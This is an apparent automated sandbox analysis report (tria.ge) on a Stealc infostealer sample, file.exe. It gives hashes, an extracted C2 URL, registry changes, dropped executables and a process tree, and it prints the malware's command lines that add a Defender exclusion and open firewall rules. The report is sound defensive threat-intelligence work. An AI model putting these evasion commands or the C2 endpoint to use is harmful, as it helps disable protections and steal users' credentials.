Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
25s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
26/01/2024, 19:07
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20231215-en
General
-
Target
file.exe
-
Size
23KB
-
MD5
13e50553cf74404e0667de093b05d4bb
-
SHA1
d2b4e780b13305b25cba7cd3b2259d94d84120a8
-
SHA256
8f1db790b8dcd0cfa72966ee8702bfd44c52600a290e40285b21bd6f356c12c5
-
SHA512
23f9cbf9e32dbe4f5238e10d9b41d47adb80815122d69c2717e35b1a166c0b45a4767bba52c8c793a2d73f8abe4d9abd0ac57e62b1490d4ef86b3ec639d2a18c
-
SSDEEP
384:2uBq0csxekW8SepChIaSpZAuIrl/6Hx4QZb7DFN24uNDZOEv+45GoGCJEF8ZpHbY:cS8oHhxNhuLOyrEFiR1tM
Malware Config
Extracted
stealc
http://185.172.128.79
-
url_path
/3886d2276f6914c4.php
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Process not Found -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths Process not Found Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\file.exe = "0" Process not Found -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 6072 netsh.exe 5524 netsh.exe -
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation Install.exe -
Drops startup file 8 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SXV4GGXoSEUm1OPz0Y8s6AeS.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dAo0UwdKW19O32wvKARzzOMn.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\803rKsjF6u6pw5X7dhRYwmWI.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xiKI67Q8SdUhCX6SsuBlH6h8.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7zmD1Ad0AMl1FRIiPOsWUYMH.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xWtTMB6feXr8DqsUV5R8b3yz.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UOAQ3yNauVDpiEi8bc6oEYiz.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cN7t7ZtROhBBv7QMUQowfbJg.bat CasPol.exe -
Executes dropped EXE 17 IoCs
pid Process 380 VfHUbzC7grBBGKOzNMh38haM.exe 64 n6cr1MzimesW2IYLJoVYQHbE.exe 4736 iBgxtzmI6EVeizkD8LA9mHQL.exe 1504 YVOCFR0hTvMU7W9trUbIFHGq.exe 5004 89njvTzyDbaCJr8QbkUCJUri.exe 976 BroomSetup.exe 2516 EZU6WXBBGzSK2p48DGqry3Dd.exe 2392 Install.exe 4544 VfHUbzC7grBBGKOzNMh38haM.exe 4804 Install.exe 4172 nsbE215.tmp 3456 xvofXBg2KSpOqy7HjpT4bDAK.exe 2888 xvofXBg2KSpOqy7HjpT4bDAK.exe 2120 reg.exe 3576 xvofXBg2KSpOqy7HjpT4bDAK.exe 3608 xvofXBg2KSpOqy7HjpT4bDAK.exe 5236 n6cr1MzimesW2IYLJoVYQHbE.exe -
Loads dropped DLL 7 IoCs
pid Process 5004 89njvTzyDbaCJr8QbkUCJUri.exe 5004 89njvTzyDbaCJr8QbkUCJUri.exe 3456 xvofXBg2KSpOqy7HjpT4bDAK.exe 2888 xvofXBg2KSpOqy7HjpT4bDAK.exe 2120 reg.exe 3576 xvofXBg2KSpOqy7HjpT4bDAK.exe 3608 xvofXBg2KSpOqy7HjpT4bDAK.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral2/files/0x000600000002324f-268.dat upx behavioral2/files/0x000600000002324f-276.dat upx behavioral2/files/0x000600000002324f-282.dat upx behavioral2/files/0x000600000002325e-291.dat upx behavioral2/files/0x000600000002324f-288.dat upx behavioral2/memory/2120-297-0x0000000000260000-0x0000000000748000-memory.dmp upx behavioral2/files/0x000600000002324f-301.dat upx behavioral2/files/0x000600000002324f-318.dat upx behavioral2/memory/3564-828-0x0000000000400000-0x00000000008DF000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\D: xvofXBg2KSpOqy7HjpT4bDAK.exe File opened (read-only) \??\F: xvofXBg2KSpOqy7HjpT4bDAK.exe File opened (read-only) \??\D: xvofXBg2KSpOqy7HjpT4bDAK.exe File opened (read-only) \??\F: xvofXBg2KSpOqy7HjpT4bDAK.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3148 set thread context of 3112 3148 Process not Found 86 -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4184 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 2120 4172 WerFault.exe 118 -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 nsbE215.tmp Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString nsbE215.tmp -
Creates scheduled task(s) 1 TTPs 14 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5868 schtasks.exe 2096 schtasks.exe 1632 schtasks.exe 5260 schtasks.exe 1548 schtasks.exe 4012 schtasks.exe 5220 schtasks.exe 5612 schtasks.exe 5736 schtasks.exe 5884 schtasks.exe 2720 schtasks.exe 1516 schtasks.exe 5572 schtasks.exe 4664 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 6100 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs reg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot reg.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople reg.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs reg.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs reg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople reg.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" VfHUbzC7grBBGKOzNMh38haM.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs reg.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" VfHUbzC7grBBGKOzNMh38haM.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs reg.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" VfHUbzC7grBBGKOzNMh38haM.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" VfHUbzC7grBBGKOzNMh38haM.exe -
Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 3844 powershell.exe 3844 powershell.exe 3984 powershell.exe 3984 powershell.exe 4672 powershell.exe 4672 powershell.exe 3984 powershell.exe 4672 powershell.exe 380 VfHUbzC7grBBGKOzNMh38haM.exe 380 VfHUbzC7grBBGKOzNMh38haM.exe 64 n6cr1MzimesW2IYLJoVYQHbE.exe 64 n6cr1MzimesW2IYLJoVYQHbE.exe 4708 powershell.exe 4708 powershell.exe 4172 nsbE215.tmp 4172 nsbE215.tmp 4708 powershell.exe 64 n6cr1MzimesW2IYLJoVYQHbE.exe 64 n6cr1MzimesW2IYLJoVYQHbE.exe 5492 reg.exe 5492 reg.exe 5492 reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 3148 Process not Found Token: SeDebugPrivilege 3112 CasPol.exe Token: SeDebugPrivilege 3844 powershell.exe Token: SeDebugPrivilege 3984 powershell.exe Token: SeDebugPrivilege 4672 powershell.exe Token: SeDebugPrivilege 380 VfHUbzC7grBBGKOzNMh38haM.exe Token: SeImpersonatePrivilege 380 VfHUbzC7grBBGKOzNMh38haM.exe Token: SeDebugPrivilege 64 n6cr1MzimesW2IYLJoVYQHbE.exe Token: SeImpersonatePrivilege 64 n6cr1MzimesW2IYLJoVYQHbE.exe Token: SeDebugPrivilege 4708 powershell.exe Token: SeDebugPrivilege 64 n6cr1MzimesW2IYLJoVYQHbE.exe Token: SeImpersonatePrivilege 64 n6cr1MzimesW2IYLJoVYQHbE.exe Token: SeDebugPrivilege 5492 reg.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 976 BroomSetup.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3148 wrote to memory of 3844 3148 Process not Found 85 PID 3148 wrote to memory of 3844 3148 Process not Found 85 PID 3148 wrote to memory of 3844 3148 Process not Found 85 PID 3148 wrote to memory of 3112 3148 Process not Found 86 PID 3148 wrote to memory of 3112 3148 Process not Found 86 PID 3148 wrote to memory of 3112 3148 Process not Found 86 PID 3148 wrote to memory of 3112 3148 Process not Found 86 PID 3148 wrote to memory of 3112 3148 Process not Found 86 PID 3148 wrote to memory of 3112 3148 Process not Found 86 PID 3148 wrote to memory of 3112 3148 Process not Found 86 PID 3148 wrote to memory of 3112 3148 Process not Found 86 PID 3112 wrote to memory of 64 3112 CasPol.exe 92 PID 3112 wrote to memory of 64 3112 CasPol.exe 92 PID 3112 wrote to memory of 64 3112 CasPol.exe 92 PID 3112 wrote to memory of 380 3112 CasPol.exe 93 PID 3112 wrote to memory of 380 3112 CasPol.exe 93 PID 3112 wrote to memory of 380 3112 CasPol.exe 93 PID 3112 wrote to memory of 4736 3112 CasPol.exe 96 PID 3112 wrote to memory of 4736 3112 CasPol.exe 96 PID 3112 wrote to memory of 1504 3112 CasPol.exe 94 PID 3112 wrote to memory of 1504 3112 CasPol.exe 94 PID 3112 wrote to memory of 1504 3112 CasPol.exe 94 PID 3112 wrote to memory of 5004 3112 CasPol.exe 95 PID 3112 wrote to memory of 5004 3112 CasPol.exe 95 PID 3112 wrote to memory of 5004 3112 CasPol.exe 95 PID 5004 wrote to memory of 976 5004 89njvTzyDbaCJr8QbkUCJUri.exe 97 PID 5004 wrote to memory of 976 5004 89njvTzyDbaCJr8QbkUCJUri.exe 97 PID 5004 wrote to memory of 976 5004 89njvTzyDbaCJr8QbkUCJUri.exe 97 PID 976 wrote to memory of 2060 976 BroomSetup.exe 108 PID 976 wrote to memory of 2060 976 BroomSetup.exe 108 PID 976 wrote to memory of 2060 976 BroomSetup.exe 108 PID 2060 wrote to memory of 1912 2060 cmd.exe 229 PID 2060 wrote to memory of 1912 2060 cmd.exe 229 PID 2060 wrote to memory of 1912 2060 cmd.exe 229 PID 2060 wrote to memory of 2096 2060 cmd.exe 102 PID 2060 wrote to memory of 2096 2060 cmd.exe 102 PID 2060 wrote to memory of 2096 2060 cmd.exe 102 PID 64 wrote to memory of 3984 64 n6cr1MzimesW2IYLJoVYQHbE.exe 107 PID 64 wrote to memory of 3984 64 n6cr1MzimesW2IYLJoVYQHbE.exe 107 PID 64 wrote to memory of 3984 64 n6cr1MzimesW2IYLJoVYQHbE.exe 107 PID 380 wrote to memory of 4672 380 VfHUbzC7grBBGKOzNMh38haM.exe 105 PID 380 wrote to memory of 4672 380 VfHUbzC7grBBGKOzNMh38haM.exe 105 PID 380 wrote to memory of 4672 380 VfHUbzC7grBBGKOzNMh38haM.exe 105 PID 3112 wrote to memory of 2516 3112 CasPol.exe 110 PID 3112 wrote to memory of 2516 3112 CasPol.exe 110 PID 3112 wrote to memory of 2516 3112 CasPol.exe 110 PID 2516 wrote to memory of 2392 2516 EZU6WXBBGzSK2p48DGqry3Dd.exe 111 PID 2516 wrote to memory of 2392 2516 EZU6WXBBGzSK2p48DGqry3Dd.exe 111 PID 2516 wrote to memory of 2392 2516 EZU6WXBBGzSK2p48DGqry3Dd.exe 111 PID 2392 wrote to memory of 4804 2392 Install.exe 115 PID 2392 wrote to memory of 4804 2392 Install.exe 115 PID 2392 wrote to memory of 4804 2392 Install.exe 115 PID 5004 wrote to memory of 4172 5004 89njvTzyDbaCJr8QbkUCJUri.exe 118 PID 5004 wrote to memory of 4172 5004 89njvTzyDbaCJr8QbkUCJUri.exe 118 PID 5004 wrote to memory of 4172 5004 89njvTzyDbaCJr8QbkUCJUri.exe 118 PID 4804 wrote to memory of 880 4804 Install.exe 270 PID 4804 wrote to memory of 880 4804 Install.exe 270 PID 4804 wrote to memory of 880 4804 Install.exe 270 PID 880 wrote to memory of 1784 880 schtasks.exe 121 PID 880 wrote to memory of 1784 880 schtasks.exe 121 PID 880 wrote to memory of 1784 880 schtasks.exe 121 PID 4544 wrote to memory of 4708 4544 VfHUbzC7grBBGKOzNMh38haM.exe 136 PID 4544 wrote to memory of 4708 4544 VfHUbzC7grBBGKOzNMh38haM.exe 136 PID 4544 wrote to memory of 4708 4544 VfHUbzC7grBBGKOzNMh38haM.exe 136
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵PID:3148
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\file.exe" -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3844
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Users\Admin\Pictures\n6cr1MzimesW2IYLJoVYQHbE.exe"C:\Users\Admin\Pictures\n6cr1MzimesW2IYLJoVYQHbE.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:64 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3984
-
-
C:\Users\Admin\Pictures\n6cr1MzimesW2IYLJoVYQHbE.exe"C:\Users\Admin\Pictures\n6cr1MzimesW2IYLJoVYQHbE.exe"4⤵
- Executes dropped EXE
PID:5236 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:5492
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵PID:5436
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
PID:5524
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:5700
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:5288
-
-
-
-
C:\Users\Admin\Pictures\VfHUbzC7grBBGKOzNMh38haM.exe"C:\Users\Admin\Pictures\VfHUbzC7grBBGKOzNMh38haM.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4672
-
-
C:\Users\Admin\Pictures\VfHUbzC7grBBGKOzNMh38haM.exe"C:\Users\Admin\Pictures\VfHUbzC7grBBGKOzNMh38haM.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4708
-
-
